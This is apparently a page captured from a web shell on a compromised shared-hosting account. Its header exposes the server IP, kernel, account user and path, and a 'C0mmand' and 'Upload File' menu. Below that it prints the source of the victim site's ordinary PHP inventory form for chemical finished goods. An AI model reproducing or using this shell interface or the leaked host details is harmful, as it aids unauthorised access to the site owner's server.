|
Server IP : 217.21.85.138 / Your IP : 216.73.216.103 Web Server : LiteSpeed System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u915722082 ( 915722082) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u915722082/.nvm/../public_html/invoicebill/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include 'templates/header.php';
include 'templates/navbar.php';
require_once 'includes/db.php';
function safe_output($data) {
return htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
}
$msg = "";
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
if (!empty($_POST['name']) && !empty($_POST['form']) && !empty($_POST['size']) && !empty($_POST['bulk_packaging']) && isset($_POST['quantity'])) {
$name = trim($_POST['name']);
$form = $_POST['form'];
$size = trim($_POST['size']);
$bulk_packaging = $_POST['bulk_packaging'];
$quantity = intval($_POST['quantity']);
$stmt = $conn->prepare("INSERT INTO finished_goods (name, form, size, bulk_packaging, quantity) VALUES (?, ?, ?, ?, ?)");
$stmt->bind_param("ssssi", $name, $form, $size, $bulk_packaging, $quantity);
if ($stmt->execute()) {
$msg = '<div class="alert alert-success">Finished good added successfully!</div>';
} else {
$msg = '<div class="alert alert-danger">Error: ' . safe_output($conn->error) . '</div>';
}
$stmt->close();
} else {
$msg = '<div class="alert alert-warning">Please fill in all required fields.</div>';
}
}
?>
<div class="container mt-4">
<h2>Finished Goods</h2>
<?php echo $msg; ?>
<!-- Form to Add Finished Goods -->
<form method="POST" action="finished_goods.php">
<div class="form-group">
<label for="name">Chemical Name</label>
<input type="text" class="form-control" id="name" name="name" placeholder="Enter chemical name" required>
</div>
<div class="form-group">
<label for="form">Form</label>
<select class="form-control" id="form" name="form" required>
<option value="Liquid">Liquid</option>
<option value="Powder">Powder</option>
<option value="Granule">Granule</option>
</select>
</div>
<div class="form-group">
<label for="size">Size</label>
<input type="text" class="form-control" id="size" name="size" placeholder="e.g., 200ml, 500g" required>
</div>
<div class="form-group">
<label for="bulk_packaging">Bulk Packaging</label>
<select class="form-control" id="bulk_packaging" name="bulk_packaging" required>
<option value="Carton">Carton</option>
<option value="Sack">Sack</option>
</select>
</div>
<div class="form-group">
<label for="quantity">Quantity in Stock</label>
<input type="number" class="form-control" id="quantity" name="quantity" required>
</div>
<button type="submit" class="btn btn-primary">Add Finished Good</button>
</form>
<hr>
<h3>Existing Finished Goods</h3>
<table class="table table-bordered">
<thead class="thead-dark">
<tr>
<th>Chemical Name</th>
<th>Form</th>
<th>Size</th>
<th>Bulk Packaging</th>
<th>Quantity</th>
</tr>
</thead>
<tbody>
<?php
$result = $conn->query("SELECT * FROM finished_goods ORDER BY id DESC");
while ($row = $result->fetch_assoc()):
?>
<tr>
<td><?php echo safe_output($row['name']); ?></td>
<td><?php echo safe_output($row['form']); ?></td>
<td><?php echo safe_output($row['size']); ?></td>
<td><?php echo safe_output($row['bulk_packaging']); ?></td>
<td><?php echo safe_output($row['quantity']); ?></td>
</tr>
<?php endwhile; ?>
</tbody>
</table>
</div>
<?php include 'templates/footer.php'; ?>